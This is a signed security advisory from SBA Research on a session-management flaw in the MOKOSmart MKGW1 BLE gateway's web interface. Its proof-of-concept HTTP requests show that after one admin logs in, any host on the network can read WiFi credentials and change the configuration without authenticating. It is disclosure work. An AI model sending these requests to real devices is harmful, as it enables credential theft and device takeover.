-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 # MOKOSmart MKGW1 Gateway Improper Session Management # Link: https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220120-01_MOKOSmart_MKGW1_Gateway_Improper_Session_Management ## Vulnerability Overview ## MOKOSmart MKGW1 Gateway devices with firmware version 1.1.1 or below do not provide an adequate session management for the administrative web interface. This allows adjacent attackers with access to the management network to read and modify the configuration of the device. * **Identifier** : SBA-ADV-20220120-01 * **Type of Vulnerability** : Improper Authentication * **Software/Product Name** : [MOKOSmart MKGW1 BLE Gateway](https://www.mokosmart.com/mokosmart-mkgw1-gateway-iot-cloud-platform/) * **Vendor** : [MOKO TECHNOLOGY LTD](https://www.mokosmart.com/) * **Affected Versions** : <= 1.1.1 * **Fixed in Version** : Not yet * **CVE ID** : Pending * **CVSS Vector** : CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H * **CVSS Base Score** : 8.0 (High) ## Vendor Description ## > * MKGW1 Bluetooth gateway is mainly used for the MOKO Bluetooth products. > * It is convenient for users to get the data of the MOKO series Beacon, > and advertising raw data of any Bluetooth device. > * It can upload the data to the server via MQTT (V3.1.1) or HTTP(S) > protocol. > * MKGW1 was developed with MediaTek® MT7688AN relying on OpenWrt system > and Nordic® nRF52 platform. > * MKGW1 can connect the standard MQTT Broker, Aws IOT, Azure IOT HUB, > Aliyun IOT. Source: <http://doc.mokotechnology.com/index.php?s=/page/108> ## Impact ## By exploiting the documented vulnerability, an attacker can gain administrative access to the device. For example, this can be misused by altering the configuration of the device or by reading out the configured network credentials and therefore getting a foothold in the victim's network. ## Vulnerability Description ## The gateway offers a web-based configuration interface that can be used to edit the configuration of the gateway. Username and password are requested to authenticate the administrator. After sending the correct credentials the device sets a global server-side state to "logged in" for 3600 seconds, rather than issuing a session ID. Now any device on the same network can access the configuration interface as administrator without any additional authentication and read and modify the configuration. ## Proof of Concept ## Login with the admin credentials on the web interface from a legitimate client: HTTP request: ```http POST /goform/login HTTP/1.1 Host: 192.168.22.1 Content-Type: application/json Content-Length: 39 Origin: http://192.168.22.1 Connection: close Referer: http://192.168.22.1/sign_in {"username":"Admin","password":"[redacted]"} ``` HTTP response: ```http HTTP/1.1 200 OK Content-type: application/json Pragma: no-cache Cache-Control: no-cache { "state": { "code": 2000, "msg": "ok" }, "data": { "activetime": "3600" } } ``` The response shown above does not contain any session identifier. On another client that can reach the web interface, an attacker can read out the configuration without any authentication: HTTP request: ```http GET /goform/get_wan HTTP/1.1 Host: 192.168.22.1 Connection: close ``` HTTP response: ```http HTTP/1.1 200 OK Content-type: application/json { "state": { "code": 2000, "msg": "ok" }, "data": { "wanmode": "WIFI", "wanssid": "[redacted]", "wanencrypt": "[redacted]", "wanpassword": "[redacted]", "proto": "dhcp", "ipaddr": "", "netmask": "", "gateway": "", "firdns": "", "secdns": "" } } ``` The above proof-of-concept shows that the MOKO gateway cannot distinguish between multiple sessions. Therefore, if a legitimate client is logged in, an attacker can read the configuration. Furthermore, an attacker can also modify the configuration by sending the appropriate `JSON` data to the respective `POST` endpoint. Changes to the network can trigger a reboot of the device. ## Recommended Countermeasures ## We are not aware of a vendor fix yet. Please contact the vendor. We recommend to implement a proper session management for the administrative web interface of the device. ## Timeline ## * `2022-01-20`: identification of vulnerability in version 1.1.1 * `2022-01-27`: initial vendor contact * `2022-03-02`: disclosed vulnerability to vendor contact but received no reply * `2023-12-11`: request CVE from MITRE * `2023-12-12`: public disclosure ## References ## * [Moko Gateway Documentation](https://www.mokosmart.com/wp-content/uploads/2019/10/GS-gateway.pdf) ## Credits ## * Jakob Hagl ([SBA Research](https://www.sba-research.org/)) * David Lisa Gnedt ([SBA Research](https://www.sba-research.org/)) -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEL9Wp/yZWFD9OpIt6+7iGL1j3dbIFAmWB8iQACgkQ+7iGL1j3 dbK0eg//atfWytZOUPJ3omp9Rjb9sMJwu1Z8LdEZZGsQdsmQXJLaKF3AUDnt2cBx CLPVDh32lFbszJiMrJrXjj5WxH8CUtNQFdj1WTN4Uv5MlaRRvipOz7/XTemqRwGP +nctTDZHLFCeli4ZD36tE4zKcP3vm+R4e7Zy5BIP74G2Dw2hmFreSt7CC5CqZT3K oPo1hMF9PD7WhjYK/lBaxeR+6FkiCm7p/thgyeShHMVygJJjmjF+k3GQ61NmoVXc IjwRs+WY8Y/X/SfPjM8tjW/gZFHdOv/r/Gcz1OJs2D2quqmiKuoOhS9b/F8LDHsf OnKTNBaWH2oTzmuh7zSan+kPYj42gjpp+aSSoWK7At78yFFvLilCcckwIpKagh4U b3W//s5BPKCXJ1a7yH3WYGjbDAOzGMq1g50X1ZDNQ7zdQbELobFSNLWsnPwfN64i ljq6tXTOYT+4Jg4hI5I+3vD4q7mf7O2CL4fk5pUHoKMy7P28sxa7wX2jH+02C07J PKkaU+V2v4Lvf3PQvGTeupo50bTZX0xYqdmjjr3G9SUD+jESMCHPGaXw/Zpau71U uKD9f9MbZ9v/XML3IsBvd22QkayL7eegvmweyLmchp/ppigp99IX3rA7EgGkauW7 1W7YiybQOvo5xaCiMakIqHXZtFcWIEryT8FRMW5cyraExHGkPPk= =jrYM -----END PGP SIGNATURE-----